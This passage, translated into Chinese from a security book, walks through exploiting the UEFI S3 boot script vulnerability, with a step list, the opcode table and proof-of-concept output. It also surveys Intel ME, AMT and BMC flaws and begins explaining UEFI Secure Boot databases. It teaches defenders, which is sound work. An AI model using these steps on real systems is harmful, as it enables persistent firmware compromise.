攻击者可以通过修改一个名为UEFI 引导脚本表的数据结构来攻击 S3 引导脚本,该表保存了平台在高级配置和电源接口(ACPI)规范的 S3 睡眠阶段的状态,此时大部分平台组件已关闭电源。UEFI 代码在正常引导过程中构建引导脚本表,并在 S3 恢复时解释其条目,此时平台正从睡眠中唤醒。能够从操作系统内核模式修改当前引导脚本表内容的攻击者,触发 S3 挂起恢复周期时,可以在平台早期唤醒阶段实现任意代码执行,此时一些安全功能尚未初始化或在内存中被锁定。

S3 引导脚本漏洞的发现

首批公开描述 S3 引导脚本恶意行为的研究人员是 Rafal Wojtczuk 和 Corey Kallenberg。在他们 2014 年 12 月的演讲《针对 UEFI 安全的攻击,灵感来自 Darth Venamis 的痛苦和速度赛车》(bit.ly/2ucc2vU)中,他们揭示了与 S3 相关的漏洞 CVE-2014-8274(VU#976132)。几周后,安全研究员 Dmytro Oleksiuk(也被称为 Cr4sh)发布了该漏洞的第一个概念验证(PoC)漏洞利用。PoC 的发布引发了其他研究人员的多次发现。几个月后,Pedro Vilaca 在基于 UEFI 固件的 Apple 产品中发现了多个相关问题。英特尔高级威胁研究小组的研究人员还在他们的讲座“通过固件和硬件攻击虚拟化程序”(www.youtube.com/watch?v=nyW3eTobXAI)中,强调了几个潜在的 S3 攻击,讲座于 2015 年在 Black Hat Vegas 上展示。如果你想了解更多关于 S3 引导脚本漏洞的信息,我们推荐查看一些这些演讲。

利用 S3 引导脚本漏洞

S3 引导脚本漏洞的影响显然是巨大的。但攻击是如何工作的呢?首先,攻击者必须已经在操作系统的内核模式(Ring 0)中获得代码执行权限,如图 16-6 所示。

image

图 16-6:S3 引导脚本的逐步利用

让我们深入研究这个漏洞利用的每一个步骤。

  1. 初步侦察。 在侦察阶段,攻击者必须从 UEFI 变量 AcpiGlobalVariable 获取 S3 启动脚本指针(地址),该变量指向未保护的 DRAM 内存中的启动脚本位置。然后,他们必须将原始启动脚本复制到一个内存位置,以便在利用后恢复原始状态。最后,他们必须确保系统实际受到 S3 启动脚本漏洞的影响,可以通过使用修改后的调度代码 EFI_BOOT_SCRIPT_DISPATCH_OPCODE 来验证,这段代码将一条记录添加到指定的启动脚本表中以执行任意代码,如清单 16-5 所示。如果成功修改了单个 S3 操作码,系统很可能存在漏洞。

  2. S3 启动脚本修改。 为了修改启动脚本,攻击者将恶意的调度操作码记录插入到复制的启动脚本顶部,将其放置为第一个启动脚本操作码命令。然后,他们通过将 AcpiGlobalVariable 设置为指向修改后的恶意版本启动脚本的指针,覆盖启动脚本地址位置。

  3. 有效载荷交付。 S3 启动脚本调度代码(EFI_BOOT_SCRIPT_DISPATCH_OPCODE)现在应该指向恶意的 shellcode。有效载荷的内容取决于攻击者的目标。它可以服务于多种目的,包括绕过 SMM 内存保护或执行额外的 shellcode 阶段,这些阶段可能在内存中的其他位置单独映射。

  4. 漏洞触发。 恶意启动脚本在被攻击的机器从睡眠模式恢复后立即执行。要触发漏洞,用户或操作系统内的其他恶意代码必须激活 S3 睡眠模式。启动脚本开始执行后,它会跳转到由调度代码定义的入口地址——此时恶意的 shellcode 获取控制权。

清单 16-5 列出了 Intel 文档中的所有 S3 启动脚本操作码,包括突出显示的 EFI_BOOT_SCRIPT_DISPATCH_OPCODE,该操作码用于执行恶意的 shellcode。

EFI_BOOT_SCRIPT_IO_WRITE_OPCODE = 0x00

EFI_BOOT_SCRIPT_IO_READ_WRITE_OPCODE = 0x01

EFI_BOOT_SCRIPT_MEM_WRITE_OPCODE = 0x02

EFI_BOOT_SCRIPT_MEM_READ_WRITE_OPCODE = 0x03

EFI_BOOT_SCRIPT_PCI_CONFIG_WRITE_OPCODE = 0x04

EFI_BOOT_SCRIPT_PCI_CONFIG_READ_WRITE_OPCODE = 0x05

EFI_BOOT_SCRIPT_SMBUS_EXECUTE_OPCODE = 0x06

EFI_BOOT_SCRIPT_STALL_OPCODE = 0x07

EFI_BOOT_SCRIPT_DISPATCH_OPCODE = 0x08

EFI_BOOT_SCRIPT_MEM_POLL_OPCODE = 0x09

清单 16-5:S3 启动脚本调度操作码

你可以在 GitHub 上的 EDKII 仓库中找到 Intel 开发的 S3 启动脚本的参考实现(github.com/tianocore/edk2/tree/master/MdeModulePkg/Library/PiDxeS3BootScriptLib/)。这段代码对于理解 x86 系统上 S3 启动脚本行为的内部机制以及实施的防护措施非常有用,能够帮助防止我们刚才讨论的漏洞。

要检查系统是否受到 S3 启动脚本漏洞的影响,可以使用 Chipsec 的 S3 启动脚本工具(chipsec/modules/common/uefi/s3bootscript.py)。然而,你不能使用这个工具来利用漏洞。

然而,您可以使用 Dmytro Oleksiuk 在 GitHub 上发布的 PoC 利用代码(*github.com/Cr4sh/UEFI_boot_script_expl/)来交付有效载荷。Listing 16-6 展示了这一 PoC 利用的成功结果。

[x][ =======================================================================

[x][ Module: UEFI boot script table vulnerability exploit

[x][ =======================================================================

[*] AcpiGlobalVariable = 0x79078000

[*] UEFI boot script addr = 0x79078013

[*] Target function addr = 0x790780b6

8 bytes to patch

Found 79 zero bytes at 0x0x790780b3

Jump from 0x79078ffb to 0x79078074

Jump from 0x790780b6 to 0x790780b3

Going to S3 sleep for 10 seconds ...

rtcwake: wakeup from "mem" using /dev/rtc0 at Mon Jun 6 09:03:04 2018

[*] BIOS_CNTL = 0x28

[*] TSEGMB = 0xd7000000

[!] Bios lock enable bit is not set

[!] SMRAM is not locked

[!] Your system is VULNERABLE

Listing 16-6: 成功的 S3 启动脚本利用结果

这个漏洞及其利用方式同样有助于禁用一些 BIOS 保护位,例如启用 BIOS 锁定、BIOS 写保护,以及在 FLOCKDN(Flash Lock-Down)寄存器中配置的其他一些保护位。重要的是,S3 漏洞还可以通过修改 PRx 寄存器的配置来禁用受保护的寄存器范围。另外,正如我们之前提到的,您可以利用 S3 漏洞绕过虚拟化内存隔离技术,例如 Intel VT-x。事实上,以下 S3 操作码可以在从睡眠状态恢复期间直接访问内存:

EFI_BOOT_SCRIPT_IO_WRITE_OPCODE = 0x00

EFI_BOOT_SCRIPT_IO_READ_WRITE_OPCODE = 0x01

这些操作码可以代表 UEFI 固件将某些值写入指定的内存位置,从而使得攻击来宾虚拟机成为可能。即使架构中包括了比主机系统更具特权的虚拟机监控器,主机系统仍然可以通过 S3 攻击它,并通过它攻击所有来宾虚拟机。

修复 S3 启动脚本漏洞

S3 启动脚本漏洞是 UEFI 固件中最具影响力的安全漏洞之一。它容易被利用且难以缓解,因为真正的修复需要多个固件架构的更改。

缓解 S3 启动脚本问题需要防止 Ring 0 的修改。实现这一点的一种方法是将 S3 启动脚本移动到 SMRAM(SMM 内存范围)。但还有另一种方法:在 EDKII 中引入的技术中(edk2/MdeModulePkg/Library/SmmLockBoxLib),英特尔架构师设计了一种 LockBox 机制,用以保护 S3 启动脚本不受 SMM 外部任何修改的影响。^(3)

英特尔管理引擎中的漏洞

英特尔管理引擎对攻击者具有吸引力。这项技术自诞生以来就一直令硬件安全研究人员感到着迷,因为它几乎没有文档记录且极其强大。今天,ME 使用一个独立的基于 x86 的 CPU(过去使用的是定制的 ARC CPU),并作为英特尔硬件信任根和多个安全技术的基础,例如 Intel Boot Guard、Intel BIOS Guard 以及部分的 Intel 软件保护扩展(SGX)。因此,妥协 ME 可以绕过安全启动。

ME 的控制权是攻击者非常渴望的目标,因为 ME 拥有 SMM 的所有权限,但还可以在一个独立的 32 位微控制器上执行嵌入式实时操作系统,该微控制器完全独立于主 CPU 运行。让我们来看看它的一些漏洞。

ME 漏洞历史

2009 年,安全研究人员亚历山大·特列什金(Alexander Tereshkin)和拉法尔·沃伊茨丘克(Rafal Wojtczuk)来自 Invisible Things Lab,在他们的报告《Introducing Ring –3 Rootkits》中展示了他们关于滥用 ME 的研究,该报告在拉斯维加斯的 Black Hat USA 大会上进行。^(4) 他们分享了关于英特尔 ME 内部机制的发现,并讨论了如何将代码注入到英特尔 AMT 执行上下文中——例如,通过将 ME 作为 rootkit 的一部分来实现。

对 ME 漏洞的下一次突破出现在整整八年后。来自 Positive Technologies 的研究人员马克西姆·戈里亚奇(Maxim Goryachy)和马克·厄尔莫洛夫(Mark Ermolov)发现了英特尔第六、七和八代 CPU 中更新版本的 ME 代码执行漏洞。这些漏洞——分别为 CVE-2017-5705、CVE-2017-5706 和 CVE-2017-5707——允许攻击者在 ME 操作系统上下文中执行任意代码,从而完全妥协相应平台的最高权限。戈里亚奇和厄尔莫洛夫在 2017 年 Black Hat Europe 大会上展示了这些发现,报告题为《如何攻击一台关机的计算机,或者在英特尔管理引擎中运行未签名的代码》^(5),研究人员展示了如何通过危及信任根,绕过或禁用多个安全功能,包括英特尔的 Boot Guard 和 BIOS Guard 技术。是否有任何安全技术能够抵抗被妥协的 ME 仍然是一个开放的研究问题。除了其他功能外,在英特尔 ME 上下文中执行的 rootkit 代码使得攻击者能够直接在 SPI 闪存芯片中修改 BIOS 映像(以及部分 Boot Guard 的信任根),从而绕过大多数安全功能。

ME 代码攻击

尽管 ME 代码在其自己的芯片上执行,但它与操作系统的其他层进行通信,并可以通过这些通信受到攻击。像往常一样,通信边界是任何计算环境攻击面的一部分,无论该环境多么隔离。

英特尔创建了一个特殊的接口,称为主机-嵌入式控制器接口(HECI),以便 ME 应用程序能够与操作系统内核进行通信。这个接口可以用于远程管理系统,例如通过网络连接终止在 ME 端但能够捕获操作系统 GUI(例如通过 VNC)进行管理,或者在制造过程中实现操作系统辅助的系统配置。它还可以用于实现英特尔 vPro 企业管理服务,包括 AMT(我们将在下一节讨论)。

通常,UEFI 固件通过位于 BIOS 中的代理 SMM 驱动程序HeciInitDxe来初始化 HECI。该 SMM 驱动程序通过 PCH 桥在 ME 和主机操作系统供应商特定驱动程序之间传递消息,而 PCH 桥连接着 CPU 和 ME 芯片。

在 ME 内部运行的应用程序可以注册 HECI 处理程序,以接受来自主机操作系统的通信(ME 不应信任操作系统的任何输入)。如果操作系统内核被攻击者接管,这些接口就成为 ME 的攻击面的一部分;例如,一个过于信任的解析器在 ME 应用程序内,未能完全验证来自操作系统的消息,就可能被精心构造的消息所攻破,就像脆弱的网络服务器一样。这就是为什么通过最小化 HECI 处理程序的数量来减少 ME 应用程序的攻击面非常重要。实际上,苹果平台出于安全政策决定,永久禁用 HECI 接口,并最小化其 ME 应用程序的数量。然而,一个被攻破的 ME 应用程序并不意味着整个 ME 被攻破。

案例研究:针对英特尔 AMT 和 BMC 的攻击

现在让我们来考虑在使用 ME 的两种技术中的漏洞。为了管理大型数据中心,以及必须集中管理的大规模企业工作站库存,组织通常使用将管理端点和逻辑嵌入到平台主板中的技术。这使得他们能够远程控制平台,即使平台的主 CPU 没有运行。这些技术,包括英特尔的 AMT 和各种基板管理控制器(BMC)芯片,不可避免地成为其平台攻击面的一部分。

对 AMT 和 BMC 攻击的全面讨论超出了本章的范围。然而,我们仍然希望提供一些指引,因为这些技术的利用直接与 UEFI 漏洞相关,且由于 2017 年和 2018 年暴露的高影响力英特尔 AMT 和 BMC 漏洞,最近受到了广泛关注。接下来,我们将讨论这些漏洞。

AMT 漏洞

英特尔的 AMT 平台作为 ME 应用程序实现,因此与英特尔 ME 执行环境直接相关。AMT 利用 ME 即使在主 CPU 不活动或完全关闭的情况下,也能通过网络与平台进行通信的能力。它还使用 ME 在运行时读取和写入 DRAM,独立于主 CPU。AMT 是一个典型的 ME 固件应用程序示例,旨在通过 BIOS 更新机制进行更新。为此,英特尔 AMT 运行其自己的 Web 服务器,作为企业远程管理控制台的主要入口点。

2017 年,在近二十年没有任何公开的安全记录之后,AMT 首次报告了漏洞——但这是一个令人震惊的漏洞,并且鉴于其性质,几乎肯定不会是我们看到的最后一个!来自 Embedi(一个私人安全公司)的研究人员向英特尔通报了关键问题 CVE-2017-5689(INTEL-SA-00075),该漏洞允许远程访问和认证绕过。所有自 2008 年以来生产的支持 ME 的英特尔系统都受到影响。(这不包括大量的英特尔 Atom 系列产品,它们本身不包含 ME,但如果它们包括易受攻击的 ME 组件,则所有服务器和工作站产品可能存在漏洞。官方上,只有英特尔 vPro 系统才包含 AMT。)该漏洞的范围相当有趣,因为它主要影响设计为通过远程 AMT 管理控制台访问的系统,即使在关闭时——这意味着系统在关闭时也可能被 攻击

通常,AMT 被作为英特尔 vPro 技术的一部分进行推广,但在同一场展示中,Embedi 的研究人员演示了 AMT 可以在非 vPro 系统上启用。他们发布了 AMTactivator 工具,操作系统管理员可以运行该工具来启用 AMT,即使它并非该平台的正式组成部分。研究人员展示了 AMT 是所有当前由 ME 驱动的英特尔 CPU 的一部分,无论它们是否被宣传为 vPro 启用;在后一种情况下,AMT 仍然存在并可以激活,无论是好是坏。关于此漏洞的更多细节可以在 www.blackhat.com/docs/us-17/thursday/us-17-Evdokimov-Intel-AMT-Stealth-Breakthrough-wp.pdf 中找到。

英特尔故意披露了关于 AMT 的极少信息,这给任何想要研究该技术安全漏洞的外部人员带来了相当大的困难。然而,先进的攻击者接受了挑战,并在分析 AMT 的隐藏可能性方面取得了显著进展。防御者可能还会面临更多令人不安的惊喜。

铂金 APT 根工具

尽管与英特尔 AMT 固件没有直接关系,但有趣的是,所谓的PLATINUM APT攻击者使用了 AMT 的串行-以太网(SOL)通道进行网络通信。这个根工具包是由微软的 Windows Defender 研究小组在 2017 年夏季发现的。AMT SOL 的通信独立于操作系统工作,因此对操作系统级防火墙和在主机设备上运行的网络监控应用程序不可见。在此事件之前,尚未有恶意软件被发现利用 AMT SOL 特性作为隐蔽通信通道。更多详细信息,请查阅微软发布的原始论文和博客文章 (cloudblogs.microsoft.com/microsoftsecure/2017/06/07/platinum-continues-to-evolve-find-ways-to-maintain-invisibility/)。该通道的存在是由 LegbaCore 的研究人员发现的,他们在该漏洞在野外被发现之前就已披露了这一信息 (legbacore.com/Research_files/HowManyMillionBIOSWouldYouLikeToInfect_Full.pdf).

BMC 芯片漏洞

与英特尔在开发基于 AMT 平台的 vPro 解决方案的同时,其他厂商也在忙于开发用于服务器的竞争性集中式远程管理解决方案:BMC 芯片集成到服务器中。作为这一平行发展的产物,BMC 设计与 AMT 有很多相同的弱点。

BMC 在服务器硬件中常见,BMC 部署在数据中心中无处不在。像英特尔、戴尔和惠普等主要硬件厂商都有自己的 BMC 实现,主要基于集成了网络接口和闪存存储的 ARM 微控制器。这些专用的闪存存储包含一个实时操作系统(RTOS),支持多种应用程序,例如一个监听 BMC 芯片网络接口的 Web 服务器(一个独立的网络管理接口)。

如果你一直在仔细阅读,这应该会让你想到“攻击面!”的警告。的确,BMC 的嵌入式 Web 服务器通常是用 C 语言编写的(包括 CGI),因此它是攻击者在寻找输入处理漏洞时的主要目标。一个很好的例子是 HP iLO BMC 的 CVE-2017-12542 漏洞,该漏洞允许身份验证绕过和远程代码执行。这一安全问题是由空客的研究人员 Fabien Périgaud、Alexandre Gazet 和 Joffrey Czarny 发现的。我们强烈推荐他们的详细白皮书《通过 BMC 颠覆你的服务器:HPE iLO4 案例》 (bit.ly/2HxeCUS).

BMC 漏洞凸显了一个事实:无论你采用何种硬件隔离技术,平台攻击面整体的衡量标准是其通信边界。你在这个边界上暴露的功能越多,平台整体安全性的风险就越大。一个平台可能配有一个独立的 CPU 和运行独立固件,但如果这个固件包括一个丰富的目标,比如一个 web 服务器,攻击者就能利用平台的弱点安装植入物。例如,一个不对网络更新镜像进行身份验证的基于 BMC 的固件更新过程,其安全性与任何安全性依赖模糊的软件下载方案一样脆弱。

结论

UEFI 固件和其他系统固件在 x86 平台上的可信度是今天的一个热门话题,值得写一本专门的书来讨论。从某种意义上说,UEFI 本应重新定义 BIOS,但它在保留了传统 BIOS 安全性模糊化方法所有缺点的同时,带来了更多的问题。

我们在这里做出了一些艰难的决定,决定包含哪些漏洞,以及哪些漏洞需要更详细的覆盖,以便说明更大的架构性失败。最终,我们希望这一章已经提供了足够的背景,以便通过常见设计缺陷的视角,帮助你深入了解当前 UEFI 固件安全性,而不仅仅是给你讲述一堆臭名昭著的漏洞。

如今,UEFI 固件是平台安全性的基石,尽管几年前它在厂商中几乎被普遍忽视。安全研究社区的协作努力使得这一变化成为可能——我们希望我们的书能为此给予应有的关注,并帮助推动其进展。

第三部分

防御与法医技术

第十七章:UEFI 安全启动如何工作

图片

在前几章中,我们讨论了内核模式代码签名策略的引入,它鼓励恶意软件开发者从使用根套件转向使用引导套件,将攻击向量从操作系统内核转移到未受保护的引导组件。这种恶意软件在操作系统加载之前执行,因此能够绕过或禁用操作系统的安全机制。为了强制执行安全性并确保安全性,操作系统必须能够启动到一个受信任的环境中,其中的组件未被篡改。

这就是 UEFI 安全启动技术发挥作用的地方,本章的主题。UEFI 安全启动主要旨在保护平台的引导组件免受修改,并确保只有受信任的模块在启动时加载和执行。只要它覆盖所有攻击角度,UEFI 安全启动可以有效应对引导套件威胁。

然而,UEFI 安全启动提供的保护容易受到固件根套件的威胁,后者是最新且增长最快的恶意软件技术。因此,你需要额外的安全层来覆盖整个引导过程的开始。你可以通过一种名为验证和测量启动的安全启动实现来做到这一点。

本章将介绍这项安全技术的核心,首先描述它如何在嵌入到硬件中时保护免受固件根套件的攻击,然后讨论其实现细节以及它如何保护受害者免受引导套件的攻击。

然而,正如安全行业中常见的那样,极少有安全解决方案能够提供对攻击的终极保护;攻击者和防御者在一场永恒的军备竞赛中相互博弈。我们将在本章结束时讨论 UEFI 安全启动的缺陷、绕过方法以及如何使用英特尔和 ARM 的两个版本的验证和测量启动来保护它。

什么是安全启动?

安全启动的主要目的是防止任何人在引导环境中执行未经授权的代码;因此,只有符合平台完整性策略的代码才能执行。这项技术对高安全保障平台非常重要,也常用于嵌入式设备和移动平台,因为它允许供应商限制平台只能运行经过供应商批准的软件,例如 iPhone 上的 iOS 或 Windows 10 S 操作系统。

安全启动有三种形式,具体取决于在哪个引导过程层次上执行:

操作系统安全启动 在操作系统引导加载程序层面实现。它验证操作系统引导加载程序加载的组件,例如操作系统内核和引导启动驱动程序。

UEFI 安全启动 实现于 UEFI 固件中。它验证 UEFI DXE 驱动程序和应用程序、选项 ROM 以及操作系统引导加载程序。

平台安全启动(验证和测量安全启动) 锚定在硬件中。它验证平台初始化固件。

我们在第六章中讨论了操作系统安全启动,因此在本章中我们将重点讨论 UEFI 安全启动以及验证启动和度量启动。

UEFI 安全启动实现细节

我们将从 UEFI 安全启动的工作原理开始讨论。首先,重要的是要注意,UEFI 安全启动是 UEFI 规范的一部分,你可以在www.uefi.org/sites/default/files/resources/UEFI_Spec_2_7.pdf找到这份规范。我们将参考该规范——换句话说,描述 UEFI 安全启动应该如何工作的内容——尽管不同的平台制造商可能有不同的实现细节。

注意

当我们在本节中提到“安全启动”时,除非另有说明,我们指的是 UEFI 安全启动。

我们将首先查看启动序列,了解“安全启动”在其中的作用。然后,我们将讨论“安全启动”如何认证可执行文件,并讨论涉及的数据库。

启动序列

让我们快速回顾一下在第十四章中描述的 UEFI 启动序列,看看“安全启动”在这个过程中出现的位置。如果你跳过了这一章,现在回去看看是值得的。

如果你回到第 242 页的“UEFI 固件如何工作”一节,你会看到系统从复位状态启动时,执行的第一段代码是平台初始化(PI)固件,它执行平台硬件的基本初始化。当 PI 执行时,芯片组和内存控制器仍处于未初始化状态:此时固件还无法访问 DRAM,PCIe 总线上的外设设备尚未被枚举。(PCIe 总线是一种高速串行总线标准,几乎用于所有现代 PC;我们将在后续章节中进一步讨论。)此时,“安全启动”尚未激活,这意味着系统固件的 PI 部分在此时并没有受到保护。

一旦 PI 固件发现并配置了 RAM,并完成了平台硬件的基本初始化,它将继续加载 DXE 驱动程序和 UEFI 应用程序,后者继续初始化平台硬件。这时,“安全启动”开始发挥作用。作为 PI 固件的一部分,“安全启动”用于验证从 SPI(串行外设接口)闪存或外设设备的选项 ROM 中加载的 UEFI 模块。

“安全启动”中使用的认证机制本质上是一个数字签名验证过程。只有经过正确认证的映像才被允许执行。“安全启动”依赖于公钥基础设施(PKI)来管理签名验证密钥。

简单来说,安全启动实现包含一个公钥,用于验证启动时加载的可执行映像的数字签名。映像应该包含嵌入的数字签名,尽管正如你将在本章稍后看到的那样,某些情况下此规则有例外。如果映像通过验证,它将被加载并最终执行。如果映像没有签名并且验证失败,则会触发修复行为——当安全启动失败时执行的操作。根据策略,系统可以继续正常启动,也可以中止启动过程并向用户显示错误信息。

安全启动的实际实现比我们在这里描述的要复杂一些。为了正确建立启动过程中执行的代码的信任,安全启动使用不同类型的签名数据库、密钥和策略。让我们逐一看一下这些因素,并深入了解其细节。

实际世界的实现:权衡

在实际的 UEFI 固件实现中,平台制造商通常在安全性和性能之间做出妥协。检查每个请求执行的 UEFI 映像的数字签名需要时间。在现代平台上,可能有几百个 UEFI 映像试图加载,因此验证每个可执行文件的数字签名会延长启动过程。同时,制造商面临着缩短启动时间的压力,特别是在嵌入式系统和汽车行业中。固件供应商通常选择通过哈希值来验证 UEFI 映像,以提高性能,而不是验证每个 UEFI 映像。允许的映像的哈希集存储在一个存储解决方案中,该存储解决方案的完整性和真实性仅在访问存储时通过数字签名确保。我们将在本章稍后详细讨论这些哈希值。

使用数字签名进行可执行文件认证

作为理解安全启动的第一步,让我们看看 UEFI 可执行文件是如何被签名的——即数字签名位于可执行文件的哪个位置,以及安全启动支持哪些类型的签名。

对于作为可移植可执行(PE)映像的 UEFI 可执行文件,数字签名包含在一种特殊的数据结构中,称为签名证书。这些证书在二进制文件中的位置由 PE 头数据结构中的一个特殊字段确定,称为证书表数据目录,如图 17-1 所示。值得一提的是,单个文件可能有多个数字签名,这些签名使用不同的签名密钥生成,目的是用于不同的用途。通过查看这个字段,UEFI 固件可以找到用于验证可执行文件的签名信息。

image

图 17-1:UEFI 映像中数字签名的位置

其他类型的 UEFI 可执行镜像,如 简洁可执行文件(TE) 镜像,由于其可执行格式的特点,未嵌入数字签名。TE 镜像格式源自 PE/COFF 格式,旨在减少 TE 的大小,使其占用更少的空间。因此,TE 镜像仅包含 PE 格式中执行镜像所需的字段,这意味着它们不包含诸如证书表数据目录之类的字段。因此,UEFI 固件无法通过验证数字签名直接对这些镜像进行认证。然而,安全启动提供了通过加密散列来认证这些镜像的功能,下一节将详细描述这一机制。

嵌入式签名证书的布局取决于其类型。我们在此不深入讨论布局的具体细节,但你可以在第 73 页的“驱动程序签名的位置”中了解更多。

每种用于安全启动的签名证书至少包含以下内容:用于签名生成和验证的加密算法信息(例如,密码散列函数和数字签名算法标识符)、目标可执行文件的加密散列、实际的数字签名,以及用于验证数字签名的公钥。

这些信息足以让安全启动验证可执行镜像的真实性。为此,UEFI 固件会定位并读取可执行文件中的签名证书,按照指定的算法计算可执行文件的散列值,然后将该散列值与签名证书中提供的散列值进行比较。如果匹配,UEFI 固件将使用签名证书中提供的密钥验证该散列的数字签名。如果签名验证成功,则 UEFI 固件接受该签名。在任何其他情况下(如散列不匹配或签名验证失败),UEFI 固件将无法认证该镜像。

然而,仅仅验证签名是否匹配不足以建立对 UEFI 可执行文件的信任。UEFI 固件还必须确保该可执行文件是用授权密钥签名的。否则,任何人都可以生成自定义签名密钥,并使用该密钥签署恶意镜像以通过安全启动验证。

这就是为什么用于签名验证的公钥应该与受信任的私钥匹配的原因。UEFI 固件显式信任这些私钥,因此它们可以用于建立对镜像的信任。受信任公钥的列表存储在db数据库中,接下来我们将进行探索。

db 数据库

db数据库保存了一个受信任的公钥证书列表,这些证书被授权用来验证签名。每当安全启动执行可执行文件的签名验证时,它会将签名的公钥与db数据库中的密钥列表进行比对,以判断是否可以信任该密钥。只有使用与这些证书对应的私钥签名的代码,才能在启动过程中在平台上执行。

除了受信任的公钥证书列表外,db数据库还包含允许在平台上执行的单个可执行文件的哈希值,无论这些文件是否有数字签名。这个机制可以用来验证没有嵌入数字签名的 TE 文件。

根据 UEFI 规范,签名数据库存储在一个非易失性 RAM(NVRAM)变量中,该变量在系统重启后依然保留。NVRAM 变量的实现方式是平台特定的,不同的原始设备制造商(OEM)可能会以不同的方式实现它。最常见的是,这些变量存储在与平台固件(如 BIOS)相同的 SPI 闪存中。正如你将在《修改 UEFI 变量以绕过安全检查》中看到的,在第 337 页,这会导致一些漏洞,你可以利用这些漏洞绕过安全启动。

让我们通过转储保存数据库的 NVRAM 变量的内容,来查看你自己系统上db数据库的内容。我们将以联想 Thinkpad T540p 平台为例,但你应该使用你所工作的平台。我们将使用 Chipsec 开源工具集来转储 NVRAM 变量的内容,这个工具集你在第十五章中已经接触过。这个工具集具有丰富的功能,适用于取证分析,我们将在第十九章中更详细地讨论它。

从 GitHub 下载 Chipsec 工具,地址是github.com/chipsec/chipsec/。该工具依赖于winpy(Windows 平台的 Python 扩展),你需要先下载并安装winpy,然后才能运行 Chipsec。安装完毕后,打开命令提示符或其他命令行解释器,进入存放下载的 Chipsec 工具的目录。然后输入以下命令,获取你的 UEFI 变量列表:

$ chipsec_util.py uefi var-list

该命令将从当前目录转储所有 UEFI 变量到子目录efi_variables.dir中,并解码其中的一些内容(Chipsec 只解码已知变量的内容)。进入该目录,你应该会看到类似图 17-2 的内容。

image

图 17-2:Chipsec 转储的 UEFI 变量

该目录中的每个条目对应一个单独的 UEFI NVRAM 变量。这些变量名的结构为 VarName_VarGUID_VarAttributes`.bin,其中 VarName 是变量的名称,VarGUID 是变量的 16 字节全局唯一标识符(GUID),VarAttributes 是该变量属性的简短列表。根据 UEFI 规范,以下是 图 17-2 中条目的部分属性。

NV 非易失性,意味着变量的内容在重启后仍然存在。

BS 可以通过 UEFI 启动服务访问。UEFI 启动服务通常在启动时可用,即操作系统加载器执行之前。一旦操作系统加载器启动,UEFI 启动服务将不再可用。

RT 可以通过 UEFI 运行时服务访问。与 UEFI 启动服务不同,运行时服务在操作系统加载和运行期间持续有效。

AWS 基于计数的认证变量,意味着任何新的变量内容需要用授权密钥进行签名,以便该变量能够被写入。该变量的签名数据包括一个计数器,用于防止回滚攻击。

TBAWS 基于时间的认证变量,意味着任何新的变量内容需要用授权密钥进行签名,以便该变量能够被写入。签名中的时间戳反映了数据签名的时间。它用于确认签名是在相应的签名密钥过期之前创建的。我们将在下一节提供有关基于时间认证的更多信息。

如果配置了安全启动并且平台上存在 db 变量,你应该在该目录中找到一个以 db_D719B2CB-3D3A-4596-A3BC-DAD00E67656F 开头的子文件夹。当 Chipsec 转储 db UEFI 变量时,它会自动将变量的内容解码到该子文件夹中,该子文件夹包含与公钥证书和授权执行的 UEFI 镜像的哈希值对应的文件。在我们的例子中,我们有五个文件——四个证书和一个 SHA256 哈希,如 图 17-3 所示。

image

图 17-3:签名数据库 UEFI 变量的内容

这些证书采用 X.509 编码,X.509 是一种定义公钥证书格式的加密标准。我们可以解码这些证书,获取有关发行者的信息,这将告诉我们谁的签名能够通过安全启动验证。为此,我们将使用 openssl 工具包,工具包的描述见框中“OpenSSL 工具包”。从 github.com/openssl/openssl/ 安装该工具包,然后使用以下命令运行它,替换 certificate_file_path 为包含 openssl 的目录路径:

$ openssl x509 -in certificate_file_path

在 Windows 操作系统上,只需将 X.509 证书文件的扩展名从bin更改为crt,然后使用资源管理器打开该文件,即可查看解码结果。表 17-1 展示了我们的结果,其中列出了证书的颁发者和主题。

表 17-1: 从 UEFI 变量中解码的证书和哈希值

文件名 颁发给 颁发者
X509-7FACC7B6-127F-4E9C-9C5D-080F98994345-03.bin Thinkpad 产品 CA 2012 联想有限公司根证书 CA 2012
X509-7FACC7B6-127F-4E9C-9C5D-080F98994345-04.bin 联想 UEFI CA 2014 联想 UEFI CA 2014
X509-77FA9ABD-0359-4D32-BD60-28F4E78F784B-01.bin 微软公司 UEFI CA 2011 微软公司第三方市场根证书
X509-77FA9ABD-0359-4D32-BD60-28F4E78F784B-02.bin 微软 Windows 生产 PCA 2011 微软根证书颁发机构 2010

从表中可以看到,只有由联想和微软签名的 UEFI 镜像才能通过 UEFI 安全启动的代码完整性检查。

OPENSSL 工具包

OpenSSL 是一个开源软件库,实现了安全套接字层(SSL)和传输层安全性(TLS)协议,以及通用的加密原语。OpenSSL 在 Apache 风格的许可证下发布,广泛应用于商业和非商业应用程序。该库提供了丰富的功能,供用户操作 X.509 证书,无论是解析现有证书还是生成新证书。你可以在www.openssl.org/找到有关该项目的信息。

dbx 数据库

db数据库不同,dbx数据库包含公钥证书和 UEFI 可执行文件的哈希值,这些文件在启动时被禁止执行。这个数据库也被称为撤销签名数据库,它明确列出了将无法通过安全启动验证的镜像,防止已知漏洞的模块执行,从而保护整个平台的安全。

我们将以与db签名数据库相同的方式探讨dbx数据库的内容。当你运行 Chipsec 工具时,会生成一些文件夹,在这些文件夹中,你会找到名为efi_variables.dir的文件夹,该文件夹下应该包含一个以dbx_D719B2CB-3D3A-4596-A3BC-DAD00E67656f开头的子文件夹。这个文件夹包含被禁止的 UEFI 镜像的证书和哈希值。在我们的案例中,文件夹仅包含 78 个哈希值,而没有证书,如图 17-4 所示。

image

图 17-4:dbx数据库(撤销签名数据库)UEFI 变量的内容

图 17-5 展示了使用dbdbx数据库的镜像签名验证算法。

image

图 17-5:UEFI 安全启动镜像验证算法

从这张图中,你可以看到,只有当 UEFI 可执行文件的哈希或签名证书在db数据库中被信任且未列在dbx数据库中时,它才会通过认证。否则,该映像将无法通过 Secure Boot 的完整性检查。

基于时间的认证

除了dbdbx数据库,Secure Boot 还使用另外两个数据库,分别叫做dbtdbr。第一个,dbr,包含用于验证操作系统恢复加载程序签名的公钥证书,我们不再深入讨论。

第二个,dbt,包含用于验证 UEFI 可执行文件数字签名时间戳的时间戳证书,从而实现 Secure Boot 中的基于时间的认证(TBAWS)。(你在本章早些时候查看 UEFI 变量的属性时,已经见过 TBAWS。)

